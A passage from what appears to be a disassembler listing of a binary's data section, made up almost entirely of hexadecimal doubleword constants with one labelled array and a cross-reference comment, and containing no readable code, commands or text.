28783433h, 18B07A9Dh, 2806B430h, 0E313522Dh, 0B8E40898h dd 1AFCB8B3h, 11ACFF85h, 7FB1B460h, 14FD3304h, 7CC0CE13h dd 5D93D462h, 0B90020E8h, 7CF2B1B6h, 34BA7214h, 0CD5348A8h dd 32A4A548h, 9EA0E6h, 0DE3B89F7h, 81CB50C0h, 58B77ADCh dd 5A13D887h, 16C027C6h, 1B4C30BEh, 17221Ch, 147F0AA3h dd 0D46C5C55h, 7EA2981Ah, 0DA148511h, 3F64F821h, 170EC048h dd 4B7D09D7h, 5480B4FCh, 42442085h, 0F500847Dh, 39749D8Ch dd 136C54FDh, 7048CED0h, 9FE242E4h, 73F0D14Dh, 7C57E145h dd 0E81702C7h, 68BF6DF2h, 1DDD5C9Ch, 0FDAD6182h, 12C87CA8h dd 616AD2F1h, 33E1CC04h, 15207C08h, 2A0A25DAh, 9F12F0DCh dd 0B416350Eh, 8AD4162Ch, 7A37C40h, 0BC3D82h, 29D2EBD7h dd 0CF1674E7h, 604ED029h, 140F3016h, 9003F69h, 17B64140h dd 0CDCC2838h, 54590AF4h, 1C020CEh, 5E61FEC6h, 88892096h dd 0B676D419h, 0D070D570h, 3C29CA62h, 9007C984h, 9C23CBE3h dd 82E46342h, 0A061B6FCh, 923C7060h, 0CCA03894h, 40C43B4Dh dd 22DDDCCh, 88C822B8h, 20CCC6BAh, 4CB2D378h, 865CB400h dd 0D05880B7h, 7AEE126Bh, 0DDC0018h, 0D4BB6FC2h, 50BA43E2h dd 24B48625h, 87C418h, 5230A20Eh, 8A144A64h, 0C58014C0h dd 0E4488520h, 52CB123h, 0D02190Ah, 0DD10B1C4h, 0DC9420B4h dd 0A06E0BEh, 0B030825Fh, 15042064h, 24A53A3Bh, 3150143Ch dd 0E4C150F6h, 0E16E60E6h, 6417D3EDh, 33941899h, 2AA600D0h dd 14192958h, 430A2F02h, 350870E1h, 0FFDC65A4h, 84DB7DB8h dd 0A841D330h, 0BAB67A53h, 6408F934h, 0B3742750h, 0EFCC011Fh dd 0EB288A98h, 86166E89h, 0DD13449Fh, 0D50BC68h, 0B0B5E0FBh dd 0FFC4B032h, 0EF232080h, 380F2AB6h, 946948F4h, 12400B2Eh dd 19B8011Eh, 0BA6104D3h, 0C099AD70h, 0F80C8970h, 0B23800E0h dd 19DEE309h, 58B08B4Ch, 58484920h, 0E781741Bh, 0B8197230h dd 5CD890h, 62C609FBh, 98048E70h, 60134584h, 9E30D49Ch dd 69926814h, 0DB343C7Bh, 0AE4B628h, 1CE3FF0Dh, 0AB6040D0h dd 889899B7h, 0E006D33Dh, 9CB68838h, 0E4FD097Bh, 0BF0375EAh dd 0EEB85171h, 0DD78C06Dh, 3C0F5902h, 58CB54EDh, 0FE3B0038h dd 5843FA09h, 7B045961h, 3A634F73h, 78D40884h, 0B0F8D480h dd 0D36C09ECh, 6444392Ah, 0A888989Ah, 61BFF20Ah, 0F8501D18h dd 0A0773C54h, 488BEAA4h, 0CFC524E5h, 0F17C8817h, 77B1FB00h dd 2884FC25h, 0A4C7140Eh, 3C009443h, 0DB4D6E15h, 8078F392h dd 0D9E2DD2Ch, 53499305h, 42B7087h, 84C2D018h, 0C99360EAh dd 0A988C108h, 0E49E9503h, 3800133Ch, 0F37F6335h, 0F2E0EC82h dd 0F0A2582Ah, 0A5909B2Eh, 99B8D80Ch, 0DF886095h, 0B40750D8h dd 0A31840E4h, 0A745F500h, 82FE1F24h, 0AC9024C6h, 20BC0940h dd 0CC2C6C45h, 7E0C9D2Ch, 1E8E4187h, 437DFA2Eh, 0D1DD5ACh dd 0F9088284h, 541090A0h, 6896BFF3h, 0CD098802h, 0D840E826h dd 8F44D30h, 0B41A2Eh, 3BDA8BA3h, 0EB0019FBh, 5A5C83C6h dd 789A6FF9h, 0B289046Bh, 0E8DA3B90h, 64AB2CC0h, 847EE10Eh dd 4C870F82h, 1CD05464h, 2A598C8h, 83263499h, 0A887D04Ch dd 1C80092Eh, 0C306A13h, 4E5CC649h, 0C185C003h, 90C8C5AAh dd 7A4300Ah, 69BED050h, 0C5440913h, 83FB6800h, 0FED79CCh dd 0BC9B8B19h, 1C429AA0h, 0AF3130C3h, 0A513D863h, 5DD3A048h dd 89060C2Dh, 88F2A109h, 8B7CB204h, 0B4C3061Ah, 0E8895464h dd 620132FBh, 0B051B548h, 178C7800h, 1423B77Fh, 8D0ECA6h dd 54128A02h, 0B882A76Eh, 2C7196E0h, 8509682Ch, 53F8686Ch dd 0A47302ADh, 0DD48A6D3h, 0A8A2787Ah, 0EE006870h, 783209EBh dd 73AC1D39h, 7C253AD3h, 3304D80Fh, 0D15D1006h, 0D423AF04h dd 0A895C7C0h, 8E353409h, 134A9A8h, 6EAFD31Ch, 407C4434h dd 931D2DC1h, 4F80D1ECh, 901920B2h, 5A623354h, 78E88428h dd 8700B497h, 6E7759Dh, 0FAD44C1Eh, 0BBD31622h, 0A4503074h dd 0F0F0A63Ah, 43293C00h, 319ECB1Fh, 0F4D41275h, 0F2584013h dd 1060AF6Ah, 1DD9AC00h, 0ABCCAD62h, 0BB4C0252h, 89D40A0Dh dd 1B61CC87h, 24687489h, 7B0BD9EBh, 80B9AF7Ah, 9804CFC0h dd 274F8D8h, 0E17E6CDh, 2C582A31h, 406A142Fh, 0B79153B4h dd 0E4E70000h, 9913D2BCh, 0F417h, 0BDDFB115h, 78610274h dd 1C64D6Ch, 24270C60h, 0A47550Bh, 70086241h, 0B189C70h dd 5C01497Eh, 3AAE09C0h, 6BB8B0h, 1CEE9860h, 0B5CD43EBh dd 3C8C30D3h, 0C1454BD3h, 0DC86EE6Ch, 948A088h, 61206441h dd 0EC18D0C0h, 30D500D2h, 798EBC8h, 5C79B21Bh, 0CC00DAEEh dd 990A0616h, 2EE46C9Fh, 2760789Dh, 93E3A460h, 0D47B6406h dd 5868DEC9h, 0B115347Fh, 3813D45Bh, 4C34A841h, 6F688500h dd 0A84910A6h, 57780A0Ch, 3015CCD9h, 0DACDBB4h, 50254654h dd 0E1408702h, 51972A00h, 0D3C0029Bh, 0F8A32F3Ah, 597D6E08h dd 41483409h, 2584F0D1h, 829B080h, 99589CE0h, 0D118F166h dd 13E57348h, 8876ED03h, 0F9407ED0h, 0B55402A2h, 7B3409E3h dd 6C6130C0h, 0AC009073h, 0F7D3B38Fh, 6B0333Ch, 993A31Dh dword_4E414C dd 0E09838A4h, 61FD340Ah, 0EB40CC70h, 0CAFBB630h, 808CB820h ; DATA XREF: ___:off_43A188o dd 7E6014DCh, 5901A916h, 0D4DACD67h, 0D8805A77h, 5ED72D62h dd 0B400F341h, 8D618B79h, 136421h, 962A3C17h, 9A8F4DEh dd 601B6C26h, 94003292h, 0FFE3401h, 2CB7B0A6h, 49902E0Dh dd 369E7C80h, 0ECF21EB4h, 741DC876h, 69CCF922h, 39879844h dd 4081C5FCh, 981586Ch, 1BB834E8h, 0FA68661Dh, 0D8703ADCh dd 79D41486h, 0BDE31E8Eh, 0D5B1331h, 0A7302D7Ch, 276ED488h dd 0D4668C92h, 3CA8162Ch, 147E2F60h, 0E1D6E75Eh, 9C6C69A8h dd 6AE43A08h, 0BC059400h, 48EE7C2Ah, 9B10207Bh, 6E13024Ah dd 92C6030h, 1A7AAC21h, 0D310A82Bh, 0A7257CECh, 19181839h dd 50A482FAh, 40991297h, 277CF830h, 201113A4h, 0BAE06097h dd 0C829D141h, 4F88552Ah, 9DC44BB7h, 0B530F421h, 194084DEh dd 348CCFECh, 0E7FC9AF4h, 778CD0h, 2BBCB156h, 0F8D4027Ch dd 0C0994B9h, 0E888E8A3h, 0B4A600D0h, 6C1485C9h, 55273065h dd 899CA10Ch, 9B70101Ch, 8DE40332h, 7E419390h, 0A38C85BCh dd 9BFB169Ch, 60C0E8C4h, 386C55FEh, 4FA0D4E3h, 4899C890h dd 0E7E7980h, 30FBBCCEh, 85381FADh, 9504A15Bh, 8CD4065Dh dd 992D64ECh, 97717498h, 598E080h, 9BB56CF3h, 8C87C721h dd 2C021618h, 0CF557E49h, 44AC58D8h, 413A85E2h, 18214BA7h dd 0D2024B70h, 0E47A1C44h, 6505913Fh, 0AC811C70h, 0F8293730h dd 5460B689h, 4096E7FFh, 0DF17F424h, 0FEF1A4F1h, 69060428h dd 40683807h, 8D3E8A77h, 20E05AD4h, 10A302E0h, 0AA13753Dh dd 0D46AE048h, 20522630h, 0FE60EAh, 292DAD86h, 0F2DF9CAFh dd 0E3FB7C00h, 766C6361h, 25A406C8h, 0C928D90Ah, 9CB3D326h dd 0E99C5462h, 11E43BA4h, 24033F44h, 3CD46386h, 25046870h dd 98DF4F31h, 0A6EBA8CCh, 54319ECh, 0B00AC86Bh, 87A5686Ch dd 6C87E66h, 5418049Bh, 3B003140h, 0E245AA29h, 972E185h dd 1DA730E4h, 88948C2Ah, 0E113D77Fh, 4FE0BC04h, 3E626F00h dd 4A005192h, 0CF98B873h, 8BB196h, 8D171F67h, 0E2E65069h dd 0FDBA9496h, 1060322Fh, 802F8154h, 3076EC01h, 0BA2280h dd 745DEDF9h, 0DB807314h, 603150C3h, 2E880E9Dh, 4160F4C1h dd 7D1DFB30h, 0F4A36D7Fh, 54135902h, 0D2DCD3F2h, 6780F090h dd 50DD106Ch, 86D47CF3h, 84EC4554h, 987DDB28h, 10E11824h dd 643EE8Fh, 108EA2h, 7741886Fh, 2DDC14FAh, 0AC06A171h dd 5E76540Bh, 28585958h, 0F8947674h, 182860C6h, 0DB26DEEAh dd 49833600h, 181C1707h, 8CE40009h, 0D7A6229Dh, 6873622Ah dd 258CFE48h, 0C4C44AAh, 819AD4FFh, 0B47992A8h, 7F663F00h dd 700C84FCh, 38EF0115h, 30F304A5h, 14068E3h, 0FBB75860h dd 8033CD41h, 54FFD103h, 600081FDh, 555C7E89h, 909B22ACh dd 0A480AF0h, 2CC849AAh, 30E5582Ch, 0DC51C765h, 0C2FC844h dd 0B78B9D01h, 8CFCD024h, 74DF360Eh, 0E05C0EC5h, 0EB9A2DF5h dd 0F66E28CCh, 643420BCh, 8400E49Ah, 0DF5CF99h, 186E02D9h dd 203555D3h, 0EC008F23h, 0F892DCDh, 696730F0h, 1C8070BBh dd 0F30C63D0h, 6204C600h, 3415F460h, 32140095h, 81651C7Eh dd 6D14EC26h, 0C675FDh, 3B30EED8h, 5825E5DEh, 83256C8Dh dd 3407F402h, 0ECFE2060h, 0B3A59B02h, 0A0A830CEh, 465662A8h dd 0DBB50655h, 0C1C389D4h, 8600F090h, 57A42BFEh, 2854FD09h dd 1EB0E7E1h, 0C94688Fh, 0D3107910h, 84ED3524h, 8CA29800h dd 0BB4EE2h, 6981676Ch, 5330E055h, 4A7548B2h, 0E5015BF0h dd 8670EA68h, 707C4Ch, 0F60CECADh, 98EC314Fh, 0E9A60A80h dd 0ED08303Ah, 7E3D1F05h, 8C4304CBh, 0C05C8778h, 2AE814h dd 94DF4ED1h, 0CC680F3h, 0C354170Ch, 2D35A0EDh, 5C084070h dd 22393F0h, 1230E334h, 6A09A058h, 18E0EC51h, 9EE478E8h dd 0F4B1645Ch, 4FD1D48h, 0ECFDC090h, 0B9B00593h, 526B76D4h dd 8CF810A0h, 0F0931167h, 1EC719D6h, 8CA5540Bh, 0FF1898DCh dd 0A9170137h, 0D926B40Dh, 2433F0EDh, 0D31898D9h, 5C2FA820h dd 0B71BC6Ch, 0B47AEE69h, 0E46D8400h, 91765AAh, 8E4AB7Fh dd 0BE1D001Fh, 549A70DAh, 0DC4B8D6Bh, 250A6C98h, 1480E3F0h dd 0A29E8D5Eh, 1E991A12h, 83624C07h, 13EF5734h, 36E45692h dd 4A40D874h, 4580B87Fh, 0B17C78B9h, 408349F9h, 2DE8715Dh dd 1AD5ABF0h, 0C0120A2Dh, 146690Ch, 0E4D1BE40h, 0EC4ED909h dd 0E09C8931h, 3C63E207h, 0E9DB07B0h, 1BE11A76h, 0A0C022E4h dd 88C0C558h, 137EEDA3h, 14770FDAh, 0A0EC30CDh, 3C028741h dd 7B297535h, 5910C049h, 0C0C0AAD6h, 81FC70h, 0E6E8CEFDh dd 0D9AC9B2Ah, 55621A07h, 13C41CF7h, 0E443EC84h, 986509A3h dd 0F8144775h, 64A13098h, 88E60811h, 0B305B903h, 0C8AA22A6h dd 0F0EB740h, 0D50A130Ch, 3480F09Bh, 714B61FEh, 423638C8h dd 805050E1h, 8DC409BDh, 52E00938h, 0D01B49D4h, 134DF301h dd 0E1197D6Dh, 1C58C6CEh, 7B506F22h, 0F55800F6h, 1DCDAC7Ch dd 0B70951A2h, 61260987h, 72E2B598h, 849200D4h, 0C18055Ah dd 172CB803h, 0DE895C43h, 5C14A0CCh, 0EB4AB9Ah, 18293C0Bh dd 49A13F42h, 9949440h, 0B0118E26h, 0DB3C9D3Ah, 0C3AE77C0h dd 4ED465E1h, 0FC9840F7h, 0ED44CEECh, 305B4A0Bh, 6AFC6070h dd 0E1E92E8Ch, 1E27012Dh, 38BA8DA2h, 0FFC903B0h, 1B2FE3Bh dd 2783FB10h, 0E0B92076h, 5B02AC95h, 0E5B03617h, 21E1C0A1h dd 0CBD87151h, 0C87862C0h, 24541938h, 7A4084D0h, 7A98A0Ah dd 5E29A815h, 84D482FAh, 1281F4A1h, 2CF1E0FCh, 158A10C0h dd 483B6354h, 53821CDDh, 3066D395h, 9044CC98h, 986FF0A7h dd 36B207Ch, 0DDE3E4A1h, 0F880F628h, 1D2ADC88h, 277F0A14h dd 0FE6E129Ch, 0A0166C53h, 703C300Fh, 6570A83h, 0A491284Bh dd 0F030C705h, 0C4324BD1h, 8048A2F4h, 0A553E133h, 3C98C02Ah dd 3A92E8D7h, 0D488F0EFh, 0E04D0D33h, 0C8E4DC7Eh, 58D06134h dd 0E059A9A5h, 3D7AD40Bh, 742588C0h, 177E1F47h, 0D2BA3B14h dd 0BE013400h, 0D6E11CAAh, 0FEC61180h, 273C8E91h, 0FC003272h dd 0F5E6255h, 1311015Dh, 4B2430D4h, 18415F24h, 0C4042AB5h dd 50831E7Ch, 67982532h, 86773880h, 28CAB9B4h, 320C8C58h dd 90E82037h, 43C12080h, 983FE501h, 0F5097E4Dh, 10D05ECAh dd 704393CFh, 403B7BD3h, 2783A830h, 0B85E23EAh, 4B053680h dd 26FD052h, 8427C56h, 0D4F096D4h, 0B9322240h, 7B0A9DCCh dd 700768E9h, 23518316h, 0D4FD1004h, 54C869CCh, 18FAB7h dd 0E2D0EC10h, 8C0DFB1Dh, 0A4706126h, 87E458A6h, 1085F0A0h dd 3C22A19Dh, 6C655BAFh, 8198B0C1h, 740202Eh, 0F16194D4h dd 0FE05D0F0h, 1325CFCh, 0F2A3B7C7h, 2EC0092Ch, 2E3F0000h dd 4123B0EFh, 80080096h, 0B09A411h, 1281862h, 0AD122CFCh dd 0C5C61F4h, 0E60E78C7h, 0E713EC18h, 8426E9Fh, 564F489Ah dd 0A7B40274h, 18E11236h, 0FA6B0199h, 5A5420h, 3CE08285h dd 0EEFB6333h, 80624738h, 0F623C559h, 257C2614h, 24827254h dd 8844DA3Bh, 0B7AD6012h, 3C519402h, 3E4213DEh, 8935278Ch dd 7A9CC2B0h, 2E042468h, 655F3E98h, 873402B4h, 20F82C84h dd 0F881B34Ah, 3FC1F3D2h, 2E6C30h, 166E19AAh, 2ADD5E6Ah dd 72EC9800h, 0BB9E2442h, 0A5120087h, 3510949Bh, 0DF27F9D3h dd 4F4646Ah, 7CE3207Bh, 2CCE336h, 0AC14DD33h, 771C40D0h dd 822240A4h, 370FDE00h dd 628F9B4Ch, 10301B69h, 17D4B048h, 423A5CA1h, 3C46D374h dd 45FB3440h, 79885754h, 0F739E401h, 63E1EC48h, 12A12AC8h dd 0ACC17309h, 5FD11D00h, 18FC6E00h, 0B0E90590h, 0E60F0064h dd 53A58514h, 0D3778D8Bh, 0EC1A1200h, 4C21B57Ah, 8F713C58h dd 1608D228h, 14390982h, 0C4A4B8ECh, 0D38C88C9h, 0A8663135h dd 0AF543803h, 5628094Eh, 0A04435C9h, 1360A89Ch, 7A60D3A5h dd 7341E09h, 0DCA4071Bh, 0DA3CC0D6h, 5003744h, 0E884E165h dd 0B9924630h, 0DEA1EECh, 11D286h, 39F69888h, 0B820300h dd 2CDE75ECh, 0F8DA64D0h, 7220AD4Bh, 0BCD2414Fh, 9F0452A3h dd 6D868D0h, 9B30D50h, 0F7C97B67h, 25886879h, 2D191CB9h dd 20D39838h, 72E86E60h, 9E3D1FFh, 2454136Fh, 0BB2810D8h dd 0DF0994AEh, 0A45B5530h, 38D08A74h, 9D469D54h, 6CC1D413h dd 0F93887A2h, 0E8E0A798h, 262E3E11h, 12B806C6h, 0AABC0756h dd 0EC1701BCh, 69CC4879h, 3A0BB4A1h, 97516808h, 786C10E2h dd 29F8530Ch, 330DBC18h, 298ED37Fh, 0AC2350DDh, 40B52Dh dd 0D8B4458Dh, 0FD093826h, 0D114276Ch, 4FE2F83h, 30079910h dd 0A238B859h, 0C7284087h, 2F40C0D3h, 0C9D4D578h, 3C445F5Fh dd 0E4FD172Ah, 0DF820375h, 3AF1A3B2h, 0FFE875C8h, 0E09C8000h dd 0A191141h, 1D41909h, 899960E9h, 0C08CD3D8h, 72E7E13Ch dd 624B0026h, 0BFB44076h, 8A00D425h, 2B646ADBh, 3F487A0Ch dd 799FF014h, 3CDF52h, 9253E44Dh, 13EAA693h, 73052B00h dd 0BCF1D827h, 3244006Ch, 4A26883Ah, 0CD0161CFh, 0D8C0105Fh dd 2BE0200Eh, 427852h, 0E825E2E6h, 8B3BD20Ah, 0A5EEDB18h dd 0BB0D130h, 250FC2BDh, 3B00258Fh, 1FDE7BFBh, 38989200h dd 0EC5913BCh, 0E0E10F52h, 0D0073A2Bh, 0D73C084h, 0D800315Ah dd 0DAD136F2h, 304157A7h, 0DF68CD5Dh, 2419D687h, 8310274Ah dd 183E95F8h, 0E0366479h, 200E38Eh, 524787E1h, 183F5360h dd 30F17A2Bh, 0FC3CBE64h, 591A10C2h, 202E4800h, 2536E2D7h dd 0B0DB7C30h, 5B03486h, 18ABBA1Dh, 2B1EC0BDh, 0C33C8820h dd 81C2889h, 32D72C00h, 0E637DDE2h, 0FF04260Ah, 0D2CE00E4h dd 0BC4777Ch, 0C1617933h, 6DFFE8B9h, 0DA20C1E7h, 0A0D96C7Ah dd 68C0C098h, 355B709Fh, 0B5E233DBh, 0E3D80238h, 0A70E8739h dd 80CA23B6h, 0B3F21FE8h, 0E9EA0308h, 0E69E7A54h, 0D07B4830h dd 0C1D6DAE1h, 1CFFCD10h, 0A1808655h, 30E8C2D8h, 8590ECDEh dd 0D10F89D5h, 4179BA26h, 8C9B4384h, 951044C4h, 888099D0h dd 360A1264h, 2C82E2D6h, 0C883F28Ch, 0FEF57DBCh, 74E70633h dd 1085E4DDh, 0CA49DF8h, 0E1458603h, 3E88AFFh, 0DB808438h dd 0E80F8702h, 6C27E52h, 96039A2h, 13C00825h, 0FAAF1C00h dd 6200D836h, 0BDF0D1B4h, 9180572Ch, 0B641010Ch, 825603FFh dd 0A27AD010h, 92F0806Dh, 7C78E463h, 0E17E1E2Bh, 8D41981h dd 4320F039h, 7040FE36h, 3E557D90h, 0DB9C0EA7h, 0B18D2FDh dd 6A002778h, 79FB7CACh, 0DF1FC614h, 5F3160B0h, 60E2F95Dh dd 3E467003h, 27722520h, 31F40902h, 40704BFFh, 307AD68Ch dd 0BE28B866h, 2000BDF5h, 11738418h, 0A085CDDBh, 3770584h dd 0ED86FB67h, 2488D922h, 0E8C04476h, 258B1B8Ch, 10346171h dd 0F0FD1387h, 737CE2ADh, 181EF730h, 30FFA5D9h, 0ED9593Ah dd 2900972Ch, 5EB4E60h, 377CC0h, 0A8526EBDh, 0FD1B9810h dd 0E2B5870Ah, 3D00AC55h, 0E5ECD6AAh, 4C20E43Fh, 0EC501236h dd 5D87150Dh, 8F80C0E1h, 61C41E89h, 541327ECh, 7610DB88h dd 250506ACh, 24280CA4h, 92C4C15Dh, 592420C2h, 0DB14C040h dd 806AF3h, 0C227CE0Fh, 32543BE0h, 0C440891Eh, 0D183DF00h dd 907BCEh, 23C63DC3h, 488565Fh, 88574Ch, 0E2DCF501h, 0FADCBD4h dd 56E928C0h, 0F0468407h, 4CD76F0Fh, 0F1DB871Eh, 0A40A7030h dd 0D961C07Dh, 28CF361Ah, 13CBE0Eh, 25FD874Dh, 8E20A029h dd 0D2C90h, 4A573FF0h, 0D3CFC75Eh, 5BD8E203h, 332BC1Bh dd 0EAF68718h, 0D4E0E116h, 0E94C6514h, 43831E14h, 824038A4h dd 500EE2A5h, 24FFE085h, 8C8614h, 360AD8D5h, 0AE7CDACCh dd 18DE3833h, 4E291882h, 1FBC4050h, 0A56DEE04h, 8B82C3BDh dd 43088777h, 2EAE9700h, 0B218C069h, 7C5B381Ah, 4D86D815h dd 3E0ED6E0h, 3CF10561h, 0F5671C80h, 791B0865h, 0E600787Dh dd 775EDBEAh, 0BD273F1Fh, 5F258A04h, 0E210C0D2h, 0FF042FD9h dd 5AD7D57Fh, 0F31A0081h, 3125B050h, 32948003h, 11F85D54h dd 927CBB40h, 28553F28h, 6F84624h, 78012FFCh, 12FAA614h dd 543F0198h, 0EB35DB8Ch, 0BBC1424h, 2C3A856Bh, 0DACF1820h dd 7F4357A1h, 3D208120h, 28D9619Ah, 805BEE25h, 93378910h dd 7C434213h, 0EDBE2A11h, 3BD95888h, 5FFAF30Ch, 0F7410DD1h dd 0E0503FD5h, 92C223D1h, 0E2CE0968h, 0B083DCDAh, 7AB8BD87h dd 0C09242A7h, 74FFE0C2h, 0C904617Bh, 3F54F0FFh, 97F8002Ch dd 9B4E5C21h, 5F0A8B4Ah, 0A774E4D8h, 0FCC93A0Ah, 268F8038h dd 0E5B8B9C8h, 6F7B0310h, 62548643h, 0DCA9FFC8h, 8160CE4Ch dd 83E2D506h, 0E840B022h, 15C47432h, 0AC12791Eh, 3954E01h dd 0CCCF1ABCh, 2270E320h, 0FF33F70Fh, 8650D95Ch, 89D00200h dd 6D913500h, 4D1DED5Eh, 9C414C7Ch, 0CCA844h, 466269F9h dd 4CE93543h, 1ABE6C00h, 212D08F1h, 84D90002h, 2C0B1D0Ah dd 0F909CF07h, 8286197Ah, 4C6201B4h, 95FF1804h, 0DAA180FBh dd 7336EA00h, 3C751A0Ch, 0C8DB176Ch, 7D4C4190h, 0A40FBCDAh dd 79083439h, 88610077h, 0EEE34357h, 1410023Eh, 0F88ECA4h dd 20E0D296h, 897ED74Fh, 25950C1Bh, 0DB38EBAAh, 92D870C0h dd 0C21A338Bh, 6C9CFF56h, 0CBB6E068h, 0F6F10117h, 0B01D780Ah dd 5540B821h, 0B93E5D7Dh, 64583B84h, 2314332Ch, 0B149214h dd 7005B178h, 0EB806EFh, 0BDE8D08Bh, 0C21D20h, 4D98C664h dd 0B8DC267Fh, 0C01880A8h, 28A460B3h, 0D1619119h, 0DC304C31h dd 92EB1708h, 30731604h, 0BDE85F0Ch, 7D28F09h, 415C8045h dd 6495C55h, 73D9B235h, 14935087h, 22DB909h, 43D71A0h dd 85808C2Ah, 100444B2h, 37F57ACDh, 2C23480h, 516309AAh dd 9C89A409h, 0BE79B418h, 0FEBC3316h, 14C8C08h, 182534C1h dd 0DB2C6423h, 0F0842130h, 0B1A657h, 5BB727F7h, 62EC804Eh dd 849499C9h, 5D0AB028h, 0FF3E028Ch, 2440A740h, 0C10A4BE7h dd 5875BDB1h, 0E40C4616h, 1C564632h, 9C7CA411h, 852E3AF9h dd 0FDF38854h, 0BF469C2Ch, 5018F840h, 0A2EDB079h, 2A54C9D8h dd 3AAC38A4h, 0DBC5CC02h, 0B48F6097h, 9C7425E3h, 0F4D77828h dd 30A6CDF1h, 4A35F99Ch, 40091C2h, 25072B8Eh, 44184D89h dd 0A580883Fh, 52E9E336h, 0F45CD593h, 200737CCh, 803FB457h dd 0D9FDE398h, 7CB900E2h, 9F5B8DDh, 6C001F7Bh, 0CC629C16h dd 0C9F6C4FFh, 2C00BED0h, 437B850Ch, 142022FFh, 809073BCh dd 88202648h, 1FCE037Bh, 40365263h, 0D72880A4h, 0D62482E0h dd 2639548Ah, 3808E820h, 2A7AC28Bh, 218468C9h, 0F2DAE00Ch dd 900B11D2h, 16200509h, 647564D5h, 40074482h, 9C0418h dd 0E743890Dh, 634C5BDCh, 0BB00FD7Fh, 29A1D145h, 3DF87D57h dd 0DA01D89Ch, 733D0FBFh, 0CCC47179h, 2C900CF9h, 2581CE04h dd 0E103E64Fh, 56E1A6D7h, 5F8C7040h, 609D5580h, 2F79409Eh dd 7A3F2CD7h, 78AC073h, 0C25B1FD1h, 0C4039057h, 2200ABFDh dd 0E2C8D8A7h dd 185155D7h, 0F8274089h, 79010B38h, 0FA1C2802h, 0A0475ABAh dd 37689593h, 82F04450h, 0B880E7CBh, 0AF202E13h, 0D813FCB0h dd 3C0A8D5Ah, 7A80CC5Bh, 0F86ADB46h, 0CC8F00C3h, 12C6D929h dd 1D00FFBFh, 0DB39BCF0h, 0CA654E3h, 0F27D2573h, 0B4B9DDE9h dd 2ABDF882h, 34D8825Fh, 24B890B0h, 48A84817h, 0DABDA00h dd 390602BDh, 43A40400h, 0E283EB97h, 55251822h, 79FE5849h dd 12D4D658h, 7C8832D3h, 0C3D896D9h, 94F2DB92h, 0A4136C50h dd 652CF5h, 0C1BCCD81h, 32D6A440h, 1ACB806h, 0FF8F6A31h dd 0D0D9DA92h, 1C90A6D8h, 11804C4Ch, 7958AEA1h, 0C30ADB12h dd 0D8D47320h, 0D50C9A48h, 0A13A7F7Ah, 6A251A90h, 0B429207Bh dd 4F7CD4A2h, 254EE440h, 84800298h, 0FF1A8461h, 0AF78BD8Ch dd 0DA910474h, 282708D9h, 404A8844h, 415D3171h, 3D1C1474h dd 7B7C59B4h, 0D096967Ch, 0AF079C3h, 22B8A358h, 0CFA0B090h dd 4F4D8F7Ah, 5F80EA4h, 1B07F7E4h, 55E33792h, 0D8C3D081h dd 3AF006Ch, 4C826EBDh, 7B03D4F4h, 0D27AD9FFh, 26680EE1h dd 22963F9Dh, 0B4C2321Ch, 54BC50C9h, 435C0C64h, 0E4AB60D0h dd 8817A230h, 4F88Eh, 861A4E1h, 67FFFDB6h, 59189F5Dh, 52184CE4h dd 0E9C51070h, 3EF78E03h, 7B88DB24h, 800C17Ah, 0A04EED6Eh dd 9BC63E7h, 0CE9D37FFh, 0CA7A0090h, 5361FD01h, 0D1DFE0D9h dd 0E918C032h, 1C3C28D6h, 0C5AD3117h, 7D3F3902h, 27D04078h dd 5D401EFCh, 0B1DEA8h, 9047D17Fh, 0B601BA56h, 11DC010Dh dd 28055Fh, 7D5AA900h, 830E3340h, 0E782209Eh, 4039D110h dd 166B9B68h, 12BA769Eh, 0CA24098Ch, 0C06C1405h, 0C0DCD580h dd 1018274Ch, 0E60E4491h, 0B820DAE8h, 306B3D10h, 5F520898h dd 4DC010A8h, 192A3E58h, 4518A8CCh, 176890EEh, 30FE057Ah dd 294FFECh, 6F243CB0h, 0D70068D9h, 7ED4AC6Bh, 0DAFD28F9h dd 7AA617B4h, 5F30211Bh, 0C6C83C3Eh, 488032BAh, 401860DFh dd 8DCC08D7h, 9F6C28EFh, 623DFC29h, 5A5ED820h, 212512DCh dd 0FC052A8h, 41F28D28h, 8433D764h, 791C2011h, 0E053B034h dd 0B537AC80h, 50354896h, 4A02613Ah, 0BE40DBA3h, 80850C68h dd 48954326h, 24E4944Fh, 0DB055459h, 90532BEFh, 0F77BB400h dd 5724D3h, 83F83610h, 8F8D3EF9h, 9528E877h, 0CD00D812h dd 0B2EAB4AEh, 9BD73DDh, 1E373814h, 71E16C00h, 0E00CF0B6h dd 0D82F9524h, 0A01C9926h, 2C84FCDCh, 2E8EED8h, 11C01027h dd 0DB8818E0h, 0B8C1DFE8h, 0BEB9FCA8h, 28A87861h, 0A65F3D7Ch dd 9084B12Ch, 102C483Bh, 97EAE28h, 33275281h, 0F67A28E1h dd 0FF3D50C8h, 0D0B30D2Ch, 732F0F6Fh, 0FEF30C44h, 7AC00053h dd 0BD2C61F0h, 0B832D596h, 102C51C7h, 0C2817824h, 25068807h dd 3C49F193h, 0D43010B7h, 0EC8C9259h, 0E4C3CB00h, 908B4EE9h dd 24B43007h, 0A8E25A10h, 96FEA31Dh, 0E078FF49h, 497AD3B4h dd 352E3C0Dh, 13C00BDBh, 0A0AF1884h, 44B4E2A4h, 390A5CC4h dd 296F428Ch, 53E054C8h, 18BDC900h, 5F514257h, 962F478h dd 759AFFCFh, 0D1D87C06h, 0F47A980Ch, 5A7B58F2h, 0A0786526h dd 1A058C58h, 0FFF105BAh, 50920FC4h, 252CE1A5h, 446321D9h dd 0FA2A3078h, 86C78C10h, 5C09B478h, 4CAD870Fh, 308E4B80h dd 0C06767Ch, 7AC8C50Bh, 27EC2126h, 52CD2505h, 0DB8A3083h dd 0A5E42BCAh, 2100344Ch, 0ECE0A600h, 0EDFA1319h, 0A408C41Eh dd 2490A358h, 5D0B2C33h, 0E67402E8h, 54E901FEh, 0DC78E38Eh dd 483C2CB1h, 0D710605Dh, 50317A49h, 584E88C1h, 6DC4F499h dd 9FB0BC9h, 0E164EBE0h, 0B19A03DEh, 88D0187Dh, 0B89EE8B8h dd 8172DB0Dh, 267A2DF8h, 8B600A22h, 14C4C3A8h, 5B1BDB18h dd 0EA229770h, 116730A6h, 7C850910h, 23B5DB51h, 5D331820h dd 0A0964308h, 0D2E0D454h, 88688498h, 25107160h, 0DB280113h dd 0E1D80090h, 1F3C3781h, 6F010534h, 565A3354h, 4FD0B46Bh dd 0FD4E0087h, 0EC816379h, 0D100E157h, 29078468h, 10962652h dd 93CD4DBh, 0C6906A7Ah, 88760A4h, 437E850Bh, 94229B4Ah dd 34E01A1Eh, 